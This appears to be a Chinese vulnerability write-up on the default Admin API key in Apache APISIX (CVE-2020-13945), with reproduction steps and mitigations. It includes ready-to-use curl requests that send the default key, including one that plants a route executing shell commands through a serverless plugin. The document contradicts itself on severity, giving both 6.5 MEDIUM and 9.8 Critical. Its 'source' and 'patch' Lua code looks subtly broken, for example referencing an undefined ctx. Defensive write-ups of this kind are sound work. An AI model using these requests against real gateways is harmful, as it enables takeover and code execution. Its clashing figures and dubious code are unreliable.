一、漏洞简介

1.1 漏洞背景

Apache APISIX 在早期版本中,为了便于开发和测试,默认配置了 Admin API 并使用了默认的 API Key (edd1c9f034335f136f87ad84b625c8f1)。许多用户在生产环境中忘记修改这个默认密钥或未正确配置 IP 白名单,导致管理接口暴露在公网。

1.2 漏洞概述(包含 CVE 编号、危害等级、漏洞类型、披露时间等)

项目 内容
漏洞编号 CVE-2020-13945
危害等级 MEDIUM / 6.5
漏洞类型 Dashboard 未授权访问
披露时间 2020-12-07
影响组件 Apache APISIX
  • CVE编号: CVE-2020-13945
  • 危害等级: 高危 (High)
  • CVSS评分: 9.8 (Critical)
  • 漏洞类型: 认证绕过 / 未授权访问
  • 影响组件: Apache APISIX Admin API

补充核验信息:公开时间:2020-12-07;NVD 评分:6.5(MEDIUM)。

二、影响范围

2.1 受影响的版本

  • Apache APISIX 1.2
  • Apache APISIX 1.3
  • Apache APISIX 1.4
  • Apache APISIX 1.5

2.2 不受影响的版本

  • Apache APISIX 2.0 及以上版本(已修复默认配置)
  • 已正确配置 admin_key 且限制 IP 访问的实例

2.3 触发条件(如特定模块、特定配置、特定运行环境等)

  1. 启用了 Admin API(默认启用)
  2. 未修改默认的 admin_key (edd1c9f034335f136f87ad84b625c8f1)
  3. Admin API 端口暴露在公网或不可信网络
  4. 删除或未配置 IP 访问限制规则

三、漏洞详情与原理解析

3.1 漏洞触发机制

攻击者可以通过以下步骤利用此漏洞:

  1. 探测目标: 扫描常见端口(9180、9080)寻找 APISIX 实例
  2. 使用默认密钥: 在 HTTP 请求头中添加 X-API-KEY: edd1c9f034335f136f87ad84b625c8f1
  3. 访问管理接口: 调用 Admin API 执行任意操作

示例攻击请求:

# 获取所有路由信息
curl -X GET http://target:9180/apisix/admin/routes \
  -H "X-API-KEY: edd1c9f034335f136f87ad84b625c8f1"

# 创建恶意路由(可能导致 RCE)
curl -X PUT http://target:9180/apisix/admin/routes/1 \
  -H "X-API-KEY: edd1c9f034335f136f87ad84b625c8f1" \
  -H "Content-Type: application/json" \
  -d '{
    "uri": "/evil",
    "plugins": {
      "serverless-pre-function": {
        "phase": "access",
        "functions": ["return function(conf, ctx) os.execute('whoami') end"]
      }
    },
    "upstream": {
      "nodes": {
        "127.0.0.1:80": 1
      },
      "type": "roundrobin"
    }
  }'

3.2 源码层面的根因分析(结合源码与补丁对比)

问题根源(基于 APISIX 1.5 及之前版本):

conf/config.yaml 中的默认配置:

apisix:
  admin_key:
    - name: "admin"
      key: edd1c9f034335f136f87ad84b625c8f1  # 默认密钥,未强制修改
      role: admin

apisix/admin/init.lua 中的认证逻辑:

function _M.check_token(conf)
    local admin_key = core.request.header(ctx, "X-API-KEY")

    -- 问题1: 未强制检查密钥是否存在
    if not admin_key then
        -- 某些早期版本对特定路径未严格校验
        return true
    end

    -- 问题2: 简单的字符串比较,容易被暴力破解
    for _, key_conf in ipairs(conf.admin_key) do
        if key_conf.key == admin_key then
            return true
        end
    end

    return false, {error_msg = "Invalid API key"}
end

补丁修复方案(APISIX 2.0+):

function _M.check_token(conf)
    -- 增加安全检查
    if not conf or not conf.admin_key or #conf.admin_key == 0 then
        return false, {error_msg = "Admin key not configured"}
    end

    local admin_key = core.request.header(ctx, "X-API-KEY")
    if not admin_key then
        return false, {error_msg = "Missing X-API-KEY header"}
    end

    -- 使用常量时间比较防止时序攻击
    for _, key_conf in ipairs(conf.admin_key) do
        if const_time_compare(key_conf.key, admin_key) then
            return true
        end
    end

    return false, {error_msg = "Invalid API key"}
end

配置文件改进

# APISIX 2.0+ 的安全默认配置
apisix:
  admin_key:
    - name: "admin"
      key: ""  # 必须在部署时设置,否则无法启动
      role: admin

deployment:
  admin:
    enable_admin: true
    admin_listen:
      port: 9180
    # 强制要求 IP 白名单
    allow_admin:
      - 127.0.0.0/24  # 仅允许本地访问
      # - 10.0.0.0/8   # 内网访问

四、漏洞复现(可选)

4.1 环境搭建

使用 Docker 快速搭建受影响的环境:

# 创建测试网络
docker network create apisix-test

# 启动 etcd
docker run -d --name etcd \
  --network apisix-test \
  -p 2379:2379 \
  -e ALLOW_NONE_AUTHENTICATION=yes \
  bitnami/etcd:3.4.15

# 启动受影响的 APISIX 版本
docker run -d --name apisix \
  --network apisix-test \
  -p 9080:9080 -p 9180:9180 \
  -e APISIX_STAND_ALONE=true \
  apache/apisix:1.5-alpine

4.2 PoC 演示与测试过程

步骤1: 验证目标是否存在漏洞

# 使用默认密钥尝试访问
curl -i http://target:9180/apisix/admin/routes \
  -H "X-API-KEY: edd1c9f034335f136f87ad84b625c8f1"

# 预期响应(存在漏洞):
# HTTP/1.1 200 OK
# {"node": {...}, "action": "get"}

步骤2: 创建测试路由

curl -X PUT http://target:9180/apisix/admin/routes/999 \
  -H "X-API-KEY: edd1c9f034335f136f87ad84b625c8f1" \
  -H "Content-Type: application/json" \
  -d '{
    "uri": "/test-poc",
    "upstream": {
      "type": "roundrobin",
      "nodes": {
        "httpbin.org:80": 1
      }
    }
  }'

步骤3: 验证路由创建成功

curl http://target:9080/test-poc/get
# 应返回 httpbin.org 的响应

步骤4: 清理测试数据

curl -X DELETE http://target:9180/apisix/admin/routes/999 \
  -H "X-API-KEY: edd1c9f034335f136f87ad84b625c8f1"

五、修复建议与缓解措施

5.1 官方版本升级建议

  1. 立即升级到 APISIX 2.0 或更高版本
  2. 新版本默认要求配置 admin_key
  3. 提供更完善的 IP 白名单机制

  4. 升级步骤:

# 备份配置
cp /usr/local/apisix/conf/config.yaml /usr/local/apisix/conf/config.yaml.bak

# 下载新版本
wget https://github.com/apache/apisix/archive/refs/tags/2.15.0.tar.gz

# 更新配置文件格式
# 参考:https://apisix.apache.org/docs/apisix/upgrade-to-2.0/

5.2 临时缓解方案(如修改配置文件、关闭相关模块、增加 WAF 规则等)

方案1: 修改默认密钥(最简单有效)

# 编辑 config.yaml
apisix:
  admin_key:
    - name: "admin"
      key: "your-strong-random-key-here-at-least-32-chars"  # 修改为强密钥
      role: admin

方案2: 配置 IP 白名单

apisix:
  admin_key: ...
  allow_admin:
    - 127.0.0.1           # 本地
    - 10.0.0.0/8          # 内网
    - 172.16.0.0/12       # 内网
    # - 192.168.1.100      # 特定管理主机

方案3: 网络层隔离

# 使用 iptables 限制访问
iptables -A INPUT -p tcp --dport 9180 -s 10.0.0.0/8 -j ACCEPT
iptables -A INPUT -p tcp --dport 9180 -j DROP

# 或使用防火墙只允许特定 IP
firewall-cmd --permanent --add-rich-rule='rule family="ipv4" source address="10.0.0.0/8" port protocol="tcp" port="9180" accept'
firewall-cmd --reload

方案4: 使用 WAF 规则拦截

# ModSecurity 规则示例
SecRule REQUEST_URI "@beginsWith /apisix/admin" \
    "id:1001,phase:1,deny,status:403,msg:'APISIX Admin API access blocked',\
    chain"
SecRule REMOTE_ADDR "!@ipMatch 10.0.0.0/8,127.0.0.1"

方案5: 禁用 Admin API(如果不需要)

deployment:
  admin:
    enable_admin: false  # 完全禁用 Admin API

六、参考信息 / 参考链接

6.1 官方安全通告

6.2 其他技术参考资料